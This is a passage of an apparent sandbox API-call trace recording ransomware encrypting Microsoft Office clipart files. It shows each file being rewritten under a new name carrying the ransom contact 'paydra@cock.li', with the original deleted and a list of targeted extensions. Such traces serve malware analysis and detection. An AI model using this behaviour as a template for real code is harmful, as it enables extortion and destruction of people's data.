(hObject=0x20c) returned 1 [0053.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0053.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0053.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.334] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.334] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.334] GetLastError () returned 0x0 [0053.334] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x2244, lpOverlapped=0x0) returned 1 [0053.336] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2250, lpOverlapped=0x0) returned 1 [0053.337] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.337] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.337] SetEndOfFile (hFile=0x17c) returned 1 [0053.337] CloseHandle (hObject=0x17c) returned 1 [0053.337] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.337] SetEndOfFile (hFile=0x20c) returned 1 [0053.338] CloseHandle (hObject=0x20c) returned 1 [0053.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0053.338] lstrlenW (lpString=".doc") returned 4 [0053.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString=".docx") returned 5 [0053.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.339] lstrlenW (lpString=".pdf") returned 4 [0053.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.339] lstrlenW (lpString=".xls") returned 4 [0053.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.339] lstrlenW (lpString=".xlsx") returned 5 [0053.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.339] lstrlenW (lpString=".ppt") returned 4 [0053.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0053.339] lstrlenW (lpString=".zip") returned 4 [0053.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.339] lstrlenW (lpString=".rar") returned 4 [0053.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.339] lstrlenW (lpString=".bz2") returned 4 [0053.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.339] lstrlenW (lpString=".7z") returned 3 [0053.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0053.339] lstrlenW (lpString=".dbf") returned 4 [0053.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0053.339] lstrlenW (lpString=".1cd") returned 4 [0053.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0053.339] lstrlenW (lpString=".jpg") returned 4 [0053.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.340] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.340] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.340] GetLastError () returned 0x0 [0053.340] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x3896, lpOverlapped=0x0) returned 1 [0053.342] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0053.342] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.342] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.343] SetEndOfFile (hFile=0x17c) returned 1 [0053.343] CloseHandle (hObject=0x17c) returned 1 [0053.343] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.343] SetEndOfFile (hFile=0x20c) returned 1 [0053.344] CloseHandle (hObject=0x20c) returned 1 [0053.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0053.344] lstrlenW (lpString=".doc") returned 4 [0053.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString=".docx") returned 5 [0053.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.344] lstrlenW (lpString=".pdf") returned 4 [0053.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString=".xls") returned 4 [0053.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.344] lstrlenW (lpString=".xlsx") returned 5 [0053.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.345] lstrlenW (lpString=".ppt") returned 4 [0053.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0053.345] lstrlenW (lpString=".zip") returned 4 [0053.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.345] lstrlenW (lpString=".rar") returned 4 [0053.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString=".bz2") returned 4 [0053.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString=".7z") returned 3 [0053.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0053.345] lstrlenW (lpString=".dbf") returned 4 [0053.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0053.345] lstrlenW (lpString=".1cd") returned 4 [0053.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0053.345] lstrlenW (lpString=".jpg") returned 4 [0053.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.345] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.345] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.845] GetLastError () returned 0x0 [0054.846] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x4780, lpOverlapped=0x0) returned 1 [0054.884] WriteFile (in: hFile=0x198, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x4790, lpOverlapped=0x0) returned 1 [0054.885] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.885] WriteFile (in: hFile=0x198, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.885] SetEndOfFile (hFile=0x198) returned 1 [0055.430] CloseHandle (hObject=0x198) returned 1 [0055.454] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.459] SetEndOfFile (hFile=0x20c) returned 1 [0055.460] CloseHandle (hObject=0x20c) returned 1 [0055.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0055.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0055.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0055.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0055.579] lstrlenW (lpString=".doc") returned 4 [0055.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.579] lstrlenW (lpString=".docx") returned 5 [0055.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.579] lstrlenW (lpString=".pdf") returned 4 [0055.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.579] lstrlenW (lpString=".xls") returned 4 [0055.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.579] lstrlenW (lpString=".xlsx") returned 5 [0055.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.579] lstrlenW (lpString=".ppt") returned 4 [0055.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0055.579] lstrlenW (lpString=".zip") returned 4 [0055.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.579] lstrlenW (lpString=".rar") returned 4 [0055.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.579] lstrlenW (lpString=".bz2") returned 4 [0055.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.580] lstrlenW (lpString=".7z") returned 3 [0055.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0055.580] lstrlenW (lpString=".dbf") returned 4 [0055.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0055.580] lstrlenW (lpString=".1cd") returned 4 [0055.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0055.580] lstrlenW (lpString=".jpg") returned 4 [0055.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.478] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.478] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0057.273] GetLastError () returned 0x0 [0057.273] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xfb8, lpOverlapped=0x0) returned 1 [0057.277] WriteFile (in: hFile=0x198, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0057.278] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.278] WriteFile (in: hFile=0x198, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.278] SetEndOfFile (hFile=0x198) returned 1 [0057.278] CloseHandle (hObject=0x198) returned 1 [0057.278] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.278] SetEndOfFile (hFile=0x1fc) returned 1 [0057.279] CloseHandle (hObject=0x1fc) returned 1 [0057.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0057.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0057.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0057.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0057.572] lstrlenW (lpString=".doc") returned 4 [0057.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.572] lstrlenW (lpString=".docx") returned 5 [0057.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.572] lstrlenW (lpString=".pdf") returned 4 [0057.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.572] lstrlenW (lpString=".xls") returned 4 [0057.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.572] lstrlenW (lpString=".xlsx") returned 5 [0057.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.572] lstrlenW (lpString=".ppt") returned 4 [0057.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0057.572] lstrlenW (lpString=".zip") returned 4 [0057.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.572] lstrlenW (lpString=".rar") returned 4 [0057.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.572] lstrlenW (lpString=".bz2") returned 4 [0057.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.573] lstrlenW (lpString=".7z") returned 3 [0057.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0057.573] lstrlenW (lpString=".dbf") returned 4 [0057.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0057.573] lstrlenW (lpString=".1cd") returned 4 [0057.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0057.573] lstrlenW (lpString=".jpg") returned 4 [0057.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.860] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.866] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.877] GetLastError () returned 0x0 [0058.877] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1678, lpOverlapped=0x0) returned 1 [0058.879] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1680, lpOverlapped=0x0) returned 1 [0058.880] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.880] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.880] SetEndOfFile (hFile=0x188) returned 1 [0058.880] CloseHandle (hObject=0x188) returned 1 [0058.880] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.880] SetEndOfFile (hFile=0x228) returned 1 [0058.881] CloseHandle (hObject=0x228) returned 1 [0058.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0058.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0058.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0058.881] lstrlenW (lpString=".doc") returned 4 [0058.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.881] lstrlenW (lpString=".docx") returned 5 [0058.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.881] lstrlenW (lpString=".pdf") returned 4 [0058.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.881] lstrlenW (lpString=".xls") returned 4 [0058.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.881] lstrlenW (lpString=".xlsx") returned 5 [0058.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.882] lstrlenW (lpString=".ppt") returned 4 [0058.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0058.882] lstrlenW (lpString=".zip") returned 4 [0058.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.882] lstrlenW (lpString=".rar") returned 4 [0058.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.882] lstrlenW (lpString=".bz2") returned 4 [0058.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.882] lstrlenW (lpString=".7z") returned 3 [0058.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0058.882] lstrlenW (lpString=".dbf") returned 4 [0058.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0058.882] lstrlenW (lpString=".1cd") returned 4 [0058.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0058.882] lstrlenW (lpString=".jpg") returned 4 [0058.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.882] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3780) returned 1 [0058.882] CloseHandle (hObject=0x228) returned 1 [0058.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0058.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0058.883] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.883] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[paydra@cock.li].html" 